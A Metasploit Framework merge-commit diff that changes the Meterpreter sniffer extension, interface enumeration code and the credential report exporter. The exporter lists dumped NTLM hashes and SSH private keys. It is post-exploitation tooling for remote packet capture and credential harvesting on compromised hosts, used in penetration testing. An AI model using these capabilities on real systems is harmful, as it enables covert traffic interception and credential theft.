Merge branch 'master' of r7.github.com:rapid7/metasploit-framework

This commit is contained in:
Jonathan Cran 2012-03-14 15:55:32 -05:00
commit 3e92973d4a
20 changed files with 1092 additions and 656 deletions

View File

@ -64,28 +64,46 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
char *get_interface_name_by_index(unsigned int fidx)
{
unsigned idx = 1;
unsigned int i, idx;
char errbuf[PCAP_ERRBUF_SIZE+4];
static char device_name[64]; // PKS, probably safe, due to snifferm mutex
int if_error;
struct ifaces_list *ifaces;
pcap_if_t *interfaces, *int_iter;
interfaces = int_iter = NULL;
ifaces = NULL;
idx = 1;
memset(device_name, 0, sizeof(device_name));
interfaces = int_iter = NULL;
if(pcap_findalldevs(&interfaces, errbuf) == -1) {
dprintf("Hmm, out of memory? (errno = %d, but probably not useful)", errno);
return NULL;
dprintf("pcap_findalldevs failed, trying netlink_get_interfaces, errbuf was : %s", errbuf);
if_error = netlink_get_interfaces(&ifaces);
if(if_error) {
dprintf("Error when retrieving interfaces info");
return NULL;
}
for (i = 0; i < ifaces->entries; i++) {
if(fidx == ifaces->ifaces[i].index) {
strncpy(device_name, ifaces->ifaces[i].name, sizeof(device_name)-1);
break;
}
}
}
for(int_iter = interfaces; int_iter; int_iter = int_iter->next) {
if(fidx == idx++) {
strncpy(device_name, int_iter->name, sizeof(device_name)-1);
break;
else { //pcap_findalldevs suceeded
for(int_iter = interfaces; int_iter; int_iter = int_iter->next) {
if(fidx == idx++) {
strncpy(device_name, int_iter->name, sizeof(device_name)-1);
break;
}
}
}
pcap_freealldevs(interfaces);
if(interfaces)
pcap_freealldevs(interfaces);
if (ifaces)
free(ifaces);
return device_name[0] ? device_name : NULL;
@ -137,8 +155,8 @@ struct sockaddr_in6 *peername6;
/* mutex */
LOCK *snifferm;
#define SNIFFER_MAX_INTERFACES 128
#define SNIFFER_MAX_QUEUE 210000 // ~300Mb @ 1514 bytes
#define SNIFFER_MAX_INTERFACES 128 // let's hope interface index don't go above this value
#define SNIFFER_MAX_QUEUE 200000 // ~290Mb @ 1514 bytes
CaptureJob open_captures[SNIFFER_MAX_INTERFACES];
@ -151,6 +169,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet);
HANDLE pktsdk_interface_by_index(unsigned int fidx);
DWORD pktsdk_initialize(void);
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
@ -166,11 +185,11 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
6: Accessible?
7: DHCP?
*/
unsigned int idx = 1;
DWORD result = ERROR_SUCCESS;
#ifdef _WIN32
HANDLE hCfg;
unsigned int idx = 1;
check_pssdk();
@ -233,6 +252,10 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
#else
char errbuf[PCAP_ERRBUF_SIZE+4];
int aidx = htonl(1); // :~(
struct ifaces_list *ifaces;
uint32_t i;
int aidx_bigendian;
int mtu_bigendian;
int yes_int = htonl(1);
int no_int = 0;
@ -241,57 +264,106 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
pcap_if_t *interfaces, *int_iter;
interfaces = int_iter = NULL;
ifaces = NULL;
do {
result = pcap_findalldevs(&interfaces, errbuf);
if(result) {
dprintf("pcap_findalldevs() failed, errbuf is %s", errbuf);
break;
}
for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
{
entries[0].header.type = TLV_TYPE_UINT;
entries[0].header.length = sizeof(unsigned int);
entries[0].buffer = (PUCHAR)&aidx;
if(!result) { // pcap_findalldevs suceeded
for(int_iter = interfaces; int_iter; int_iter = int_iter->next)
{
entries[0].header.type = TLV_TYPE_UINT;
entries[0].header.length = sizeof(unsigned int);
entries[0].buffer = (PUCHAR)&aidx;
entries[1].header.type = TLV_TYPE_STRING;
entries[1].header.length = strlen(int_iter->name)+1;
entries[1].buffer = int_iter->name;
entries[1].header.type = TLV_TYPE_STRING;
entries[1].header.length = strlen(int_iter->name)+1;
entries[1].buffer = (PUCHAR)int_iter->name;
entries[2].header.type = TLV_TYPE_STRING;
entries[2].header.length = strlen(int_iter->name)+1;
entries[2].buffer = int_iter->name;
entries[2].header.type = TLV_TYPE_STRING;
entries[2].header.length = strlen(int_iter->name)+1;
entries[2].buffer = (PUCHAR)int_iter->name;
entries[3].header.type = TLV_TYPE_UINT;
entries[3].header.length = sizeof(unsigned int);
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
entries[3].header.type = TLV_TYPE_UINT;
entries[3].header.length = sizeof(unsigned int);
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
entries[4].header.type = TLV_TYPE_UINT;
entries[4].header.length = sizeof(unsigned int);
entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-(
entries[4].header.type = TLV_TYPE_UINT;
entries[4].header.length = sizeof(unsigned int);
entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-(
entries[5].header.type = TLV_TYPE_BOOL;
entries[5].header.length = sizeof(BOOL);
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
entries[5].header.type = TLV_TYPE_BOOL;
entries[5].header.length = sizeof(BOOL);
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
entries[6].header.type = TLV_TYPE_BOOL;
entries[6].header.length = sizeof(BOOL);
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
entries[6].header.type = TLV_TYPE_BOOL;
entries[6].header.length = sizeof(BOOL);
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
entries[7].header.type = TLV_TYPE_BOOL;
entries[7].header.length = sizeof(BOOL);
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
entries[7].header.type = TLV_TYPE_BOOL;
entries[7].header.length = sizeof(BOOL);
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
aidx = htonl(ntohl(aidx)+1); // :~(
}
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
aidx = htonl(ntohl(aidx)+1); // :~(
}
} else {
dprintf("pcap_findalldevs() failed, trying netlink_get_interfaces now, errbuf was %s", errbuf);
result = netlink_get_interfaces(&ifaces);
if(result) {
dprintf("Error when retrieving interfaces info");
break;
}
// netlink_get_interfaces suceeded
for (i = 0; i < ifaces->entries; i++)
{
aidx_bigendian = htonl(ifaces->ifaces[i].index);
entries[0].header.type = TLV_TYPE_UINT;
entries[0].header.length = sizeof(uint32_t);
entries[0].buffer = (PUCHAR)&aidx_bigendian;
entries[1].header.type = TLV_TYPE_STRING;
entries[1].header.length = strlen(ifaces->ifaces[i].name)+1;
entries[1].buffer = (PUCHAR)ifaces->ifaces[i].name;
entries[2].header.type = TLV_TYPE_STRING;
entries[2].header.length = strlen(ifaces->ifaces[i].name)+1;
entries[2].buffer = (PUCHAR)ifaces->ifaces[i].name;
entries[3].header.type = TLV_TYPE_UINT;
entries[3].header.length = sizeof(unsigned int);
entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type?
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
entries[4].header.type = TLV_TYPE_UINT;
entries[4].header.length = sizeof(uint32_t);
entries[4].buffer = (PUCHAR)&mtu_bigendian;
entries[5].header.type = TLV_TYPE_BOOL;
entries[5].header.length = sizeof(BOOL);
entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap
entries[6].header.type = TLV_TYPE_BOOL;
entries[6].header.length = sizeof(BOOL);
entries[6].buffer = (PUCHAR)&yes_int; // sure, why not.
entries[7].header.type = TLV_TYPE_BOOL;
entries[7].header.length = sizeof(BOOL);
entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it.
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
}
}
} while(0);
if(ifaces)
free(ifaces);
if(interfaces)
pcap_freealldevs(interfaces);
#endif
packet_transmit_response(result, remote, response);
@ -419,7 +491,7 @@ void packet_handler(u_char *user, const struct pcap_pkthdr *h, const u_char *byt
if(j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
if(j->pkts[j->idx_pkts]) free(j->pkts[j->idx_pkts]);
if(j->pkts[j->idx_pkts]) free((void*)(j->pkts[j->idx_pkts]));
j->pkts[j->idx_pkts++] = pkt;
@ -451,6 +523,8 @@ DWORD sniffer_thread(THREAD *thread)
select(fd+1, &rfds, NULL, NULL, &tv);
count = pcap_dispatch(j->pcap, 100, packet_handler, (u_char *)(j));
if (-1 == count)
dprintf("pcap error: %s", pcap_geterr(j->pcap));
if(count <= 0) continue;
if(count) dprintf("dispatched %d packets", count);
@ -483,7 +557,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT);
maxp = min(maxp, 200000);
maxp = min(maxp, SNIFFER_MAX_QUEUE);
maxp = max(maxp, 1);
result = ERROR_SUCCESS;
@ -526,14 +600,14 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
break;
}
#else
name = get_interface_name_by_index(ifid);
name = get_interface_name_by_index(ifh);
if(! name) {
result = ERROR_INVALID_PARAMETER;
break;
}
j->pcap = pcap_open_live(name, 1514, 1, 1000, errbuf);
j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf);
if(! j->pcap) {
result = EACCES;
break;
@ -626,7 +700,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
Packet *response = packet_create_response(packet);
unsigned int ifid,i;
unsigned int ifid;
CaptureJob *j;
DWORD result;
@ -670,13 +744,8 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
thread_join(j->thread); // should take less than 1 second :p
#endif
for(i=0; i<j->max_pkts; i++) {
if(!j->pkts[i]) break;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
lock_release(snifferm);
@ -687,7 +756,62 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) {
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) {
Packet *response = packet_create_response(packet);
unsigned int ifid,i;
CaptureJob *j;
DWORD result;
check_pssdk();
dprintf("sniffer>> release_capture()");
ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> release_capture(0x%.8x)", ifid);
result = ERROR_SUCCESS;
do {
// the interface is invalid
if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
result = ERROR_INVALID_PARAMETER;
break;
}
j = &open_captures[ifid];
// the interface is not being captured
#ifdef _WIN32
if(! j->adp || j->active == 1)
#else
if(! j->pcap || j->active == 1)
#endif
{
result = ERROR_INVALID_PARAMETER;
break;
}
lock_acquire(snifferm);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
for(i=0; i<j->max_pkts; i++) {
if(!j->pkts[i]) break;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
lock_release(snifferm);
} while(0);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
Packet *response = packet_create_response(packet);
@ -722,9 +846,10 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
result = ERROR_INVALID_PARAMETER;
break;
}
lock_acquire(snifferm);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int) j->cur_bytes);
lock_release(snifferm);
} while(0);
packet_transmit_response(result, remote, response);
@ -733,7 +858,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) {
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
Packet *response = packet_create_response(packet);
unsigned int ifid;
unsigned int ifid, i;
unsigned int bcnt;
CaptureJob *j;
DWORD result;
@ -753,13 +878,13 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
// the interface is invalid
if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
break;
goto fail;
}
j = &open_captures[ifid];
if(! j->dbuf) {
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
break;
goto fail;
}
if(j->didx + bcnt > j->dlen) {
@ -777,8 +902,22 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) {
j->dbuf = NULL;
j->didx = 0;
j->dlen = 0;
// if dump occurs when interface is not active, i.e sniff has ended, release info
if (j->active == 0) {
dprintf("sniffer>> capture_dump_read, release CaptureJob");
lock_acquire(snifferm);
for(i=0; i<j->max_pkts; i++) {
if(!j->pkts[i]) break;
PktDestroy(j->pkts[i]);
j->pkts[i] = NULL;
}
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
lock_release(snifferm);
}
}
fail:
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -791,7 +930,7 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
unsigned int *tmp;
CaptureJob *j;
DWORD result,pcnt,bcnt,rcnt,i;
DWORD result,pcnt,rcnt,i;
DWORD thi, tlo;
check_pssdk();
@ -834,7 +973,6 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
// Add basic stats
pcnt = 0;
bcnt = 0;
rcnt = 0;
mbuf = (1024*1024);
@ -916,6 +1054,11 @@ Command customCommands[] =
{ request_sniffer_capture_stats, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Release captured packets instead of downloading them
{ "sniffer_capture_release",
{ request_sniffer_capture_release, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Sniffing packet dump
{ "sniffer_capture_dump",
{ request_sniffer_capture_dump, { 0 }, 0 },

View File

@ -8,7 +8,7 @@
DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
{
DWORD result = ERROR_SUCCESS;
DWORD entryCount;
DWORD tlv_cnt;
Tlv entries[6];
PMIB_IPADDRTABLE table = NULL;
@ -37,52 +37,52 @@ DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
// Enumerate the entries
for (index = 0; index < table->dwNumEntries; index++)
{
entryCount = 0;
tlv_cnt = 0;
interface_index_bigendian = htonl(table->table[index].dwIndex);
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[entryCount].buffer = (PUCHAR)&interface_index_bigendian;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++;
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_IP;
entries[entryCount].buffer = (PUCHAR)&table->table[index].dwAddr;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwAddr;
tlv_cnt++;
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_NETMASK;
entries[entryCount].buffer = (PUCHAR)&table->table[index].dwMask;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
entries[tlv_cnt].buffer = (PUCHAR)&table->table[index].dwMask;
tlv_cnt++;
iface.dwIndex = table->table[index].dwIndex;
// If interface information can get gotten, use it.
if (GetIfEntry(&iface) == NO_ERROR)
{
entries[entryCount].header.length = iface.dwPhysAddrLen;
entries[entryCount].header.type = TLV_TYPE_MAC_ADDR;
entries[entryCount].buffer = (PUCHAR)iface.bPhysAddr;
entryCount++;
entries[tlv_cnt].header.length = iface.dwPhysAddrLen;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
entries[tlv_cnt].buffer = (PUCHAR)iface.bPhysAddr;
tlv_cnt++;
mtu_bigendian = htonl(iface.dwMtu);
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_INTERFACE_MTU;
entries[entryCount].buffer = (PUCHAR)&mtu_bigendian;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++;
if (iface.bDescr)
{
entries[entryCount].header.length = iface.dwDescrLen + 1;
entries[entryCount].header.type = TLV_TYPE_MAC_NAME;
entries[entryCount].buffer = (PUCHAR)iface.bDescr;
entryCount++;
entries[tlv_cnt].header.length = iface.dwDescrLen + 1;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
entries[tlv_cnt].buffer = (PUCHAR)iface.bDescr;
tlv_cnt++;
}
}
// Add the interface group
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE,
entries, entryCount);
entries, tlv_cnt);
}
} while (0);
@ -96,7 +96,7 @@ DWORD get_interfaces_windows_mib(Remote *remote, Packet *response)
DWORD get_interfaces_windows(Remote *remote, Packet *response) {
DWORD result = ERROR_SUCCESS;
DWORD entryCount;
DWORD tlv_cnt;
// Most of the time we'll need:
// index, name (description), MAC addr, mtu, flags, IP addr, netmask, maybe scope id
// In some cases, the interface will have multiple addresses, so we'll realloc
@ -108,7 +108,7 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
DWORD interface_index_bigendian;
ULONG flags = GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER;
LPSOCKADDR sockaddr;
ULONG family = AF_UNSPEC;
@ -120,7 +120,7 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// Use the larger version so we're guaranteed to have a large enough struct
IP_ADAPTER_UNICAST_ADDRESS_LH *pAddr;
do
{
gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress(
@ -128,10 +128,6 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
);
if (!gaa) {
result = get_interfaces_windows_mib(remote, response);
// --- DEBUG ---
packet_add_tlv_uint(response, TLV_TYPE_EXIT_CODE, 666);
// --- END DEBUG ---
break;
}
@ -150,85 +146,81 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// Enumerate the entries
for (pCurr = pAdapters; pCurr; pCurr = pCurr->Next)
{
entryCount = 0;
tlv_cnt = 0;
interface_index_bigendian = htonl(pCurr->IfIndex);
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[entryCount].buffer = (PUCHAR)&interface_index_bigendian;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++;
entries[entryCount].header.length = pCurr->PhysicalAddressLength;
entries[entryCount].header.type = TLV_TYPE_MAC_ADDR;
entries[entryCount].buffer = (PUCHAR)pCurr->PhysicalAddress;
entryCount++;
entries[tlv_cnt].header.length = pCurr->PhysicalAddressLength;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_ADDR;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->PhysicalAddress;
tlv_cnt++;
entries[entryCount].header.length = wcslen(pCurr->Description)*2 + 1;
entries[entryCount].header.type = TLV_TYPE_MAC_NAME;
entries[entryCount].buffer = (PUCHAR)pCurr->Description;
entryCount++;
entries[tlv_cnt].header.length = wcslen(pCurr->Description)*2 + 1;
entries[tlv_cnt].header.type = TLV_TYPE_MAC_NAME;
entries[tlv_cnt].buffer = (PUCHAR)pCurr->Description;
tlv_cnt++;
mtu_bigendian = htonl(pCurr->Mtu);
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_INTERFACE_MTU;
entries[entryCount].buffer = (PUCHAR)&mtu_bigendian;
entryCount++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++;
for (pAddr = (void*)pCurr->FirstUnicastAddress; pAddr; pAddr = (void*)pAddr->Next)
{
// This loop can add up to three Tlv's - one for address, one for scope_id, one for netmask.
// Go ahead and allocate enough room for all of them.
if (allocd_entries < entryCount+3) {
entries = realloc(entries, sizeof(Tlv) * (entryCount+3));
if (allocd_entries < tlv_cnt+3) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
allocd_entries += 3;
}
sockaddr = pAddr->Address.lpSockaddr;
if (sockaddr->sa_family == AF_INET) {
entries[entryCount].header.length = 4;
entries[entryCount].header.type = TLV_TYPE_IP;
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
if (pCurr->Length > 68) {
// --- DEBUG ---
packet_add_tlv_uint(response, TLV_TYPE_EXIT_CODE, 1337);
// --- END DEBUG ---
entryCount++;
entries[entryCount].header.length = 4;
entries[entryCount].header.type = TLV_TYPE_NETMASK;
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
tlv_cnt++;
entries[tlv_cnt].header.length = 4;
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in *)sockaddr)->sin_addr);
}
} else {
entries[entryCount].header.length = 16;
entries[entryCount].header.type = TLV_TYPE_IP;
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
entries[tlv_cnt].header.length = 16;
entries[tlv_cnt].header.type = TLV_TYPE_IP;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
entryCount++;
entries[entryCount].header.length = sizeof(DWORD);
entries[entryCount].header.type = TLV_TYPE_IP6_SCOPE;
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id);
tlv_cnt++;
entries[tlv_cnt].header.length = sizeof(DWORD);
entries[tlv_cnt].header.type = TLV_TYPE_IP6_SCOPE;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_scope_id);
if (pCurr->Length > 68) {
entryCount++;
entries[entryCount].header.length = 16;
entries[entryCount].header.type = TLV_TYPE_NETMASK;
entries[entryCount].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
tlv_cnt++;
entries[tlv_cnt].header.length = 16;
entries[tlv_cnt].header.type = TLV_TYPE_NETMASK;
entries[tlv_cnt].buffer = (PUCHAR)&(((struct sockaddr_in6 *)sockaddr)->sin6_addr);
}
}
entryCount++;
tlv_cnt++;
}
// Add the interface group
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE,
entries, entryCount);
entries, tlv_cnt);
}
} while (0);
if (entries)
free(entries);
if (pAdapters)
free(pAdapters);
return result;
}
@ -239,8 +231,8 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
int i;
int result;
uint32_t interface_index_bigendian, mtu_bigendian;
// wild guess, should probably malloc
Tlv entries[39];
DWORD allocd_entries = 10;
Tlv *entries = (Tlv *)malloc(sizeof(Tlv) * 10);
dprintf("Grabbing interfaces");
result = netlink_get_interfaces(&ifaces);
@ -262,7 +254,28 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].hwaddr;
tlv_cnt++;
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
entries[tlv_cnt].header.length = sizeof(uint32_t);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++;
entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].flags)+1;
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_FLAGS;
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].flags;
tlv_cnt++;
interface_index_bigendian = htonl(ifaces->ifaces[i].index);
entries[tlv_cnt].header.length = sizeof(uint32_t);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++;
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
if (allocd_entries < tlv_cnt+3) {
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
allocd_entries += 3;
}
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
dprintf("ip addr for %s", ifaces->ifaces[i].name);
entries[tlv_cnt].header.length = sizeof(__u32);
@ -290,23 +303,6 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
}
}
mtu_bigendian = htonl(ifaces->ifaces[i].mtu);
entries[tlv_cnt].header.length = sizeof(uint32_t);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_MTU;
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++;
entries[tlv_cnt].header.length = strlen(ifaces->ifaces[i].flags)+1;
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_FLAGS;
entries[tlv_cnt].buffer = (PUCHAR)ifaces->ifaces[i].flags;
tlv_cnt++;
interface_index_bigendian = htonl(ifaces->ifaces[i].index);
entries[tlv_cnt].header.length = sizeof(uint32_t);
entries[tlv_cnt].header.type = TLV_TYPE_INTERFACE_INDEX;
entries[tlv_cnt].buffer = (PUCHAR)&interface_index_bigendian;
tlv_cnt++;
dprintf("Adding TLV to group");
packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, tlv_cnt);
dprintf("done Adding TLV to group");
@ -315,6 +311,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
if (ifaces)
free(ifaces);
if (entries)
free(entries);
return result;
}

View File

@ -677,10 +677,8 @@ int netlink_parse_interface_address(struct nlmsghdr *nh, void *data)
memset(&iface_tmp, 0, sizeof(iface_tmp));
iface_tmp.index = iaddr->ifa_index;
dprintf("-------------------------------------");
for (attribute = IFA_RTA(iaddr); RTA_OK(attribute, len); attribute = RTA_NEXT(attribute, len))
{
dprintf("Start of loop, attribute->rta_type = %d", attribute->rta_type);
switch(attribute->rta_type)
{
case IFA_ADDRESS:
@ -711,9 +709,7 @@ int netlink_parse_interface_address(struct nlmsghdr *nh, void *data)
default:
break;
}
dprintf("-------------------------------------");
}
dprintf("Exited loop");
/*
* try to find the iface by index and name

View File

@ -312,7 +312,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
# Try to match our visible IP to a real interface
# TODO: Deal with IPv6 addresses
found = !!(ifaces.find {|i| i.addrs.find {|a| p a; a == shost } })
found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } })
nhost = nil
hobj = nil

View File

@ -46,28 +46,33 @@ class Export
report_file.write "#" * 40; report_file.write "\n"
count = count_credentials("smb_hash",creds)
scount = creds.has_key?("smb_hash") ? creds["smb_hash"].size : 0
yield(:status, "start", "LM/NTLM Hash dump") if block_given?
report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [creds["smb_hash"].size, count]
report_file.write "# LM/NTLM Hashes (%d services, %d hashes)\n" % [scount, count]
write_credentials("smb_hash",creds,report_file)
count = count_credentials("smb_netv1_hash",creds)
scount = creds.has_key?("smb_netv1_hash") ? creds["smb_netv1_hash"].size : 0
yield(:status, "start", "NETLMv1/NETNTLMv1 Hash dump") if block_given?
report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [creds["smb_netv1_hash"].size, count]
report_file.write "# NETLMv1/NETNTLMv1 Hashes (%d services, %d hashes)\n" % [scount, count]
write_credentials("smb_netv1_hash",creds,report_file)
count = count_credentials("smb_netv2_hash",creds)
scount = creds.has_key?("smb_netv2_hash") ? creds["smb_netv2_hash"].size : 0
yield(:status, "start", "NETLMv2/NETNTLMv2 Hash dump") if block_given?
report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [creds["smb_netv2_hash"].size, count]
report_file.write "# NETLMv2/NETNTLMv2 Hashes (%d services, %d hashes)\n" % [scount, count]
write_credentials("smb_netv2_hash",creds,report_file)
count = count_credentials("ssh_key",creds)
scount = creds.has_key?("ssh_key") ? creds["ssh_key"].size : 0
yield(:status, "start", "SSH Key dump") if block_given?
report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [creds["ssh_key"].size, count]
report_file.write "# SSH Private Keys (%d services, %d keys)\n" % [scount, count]
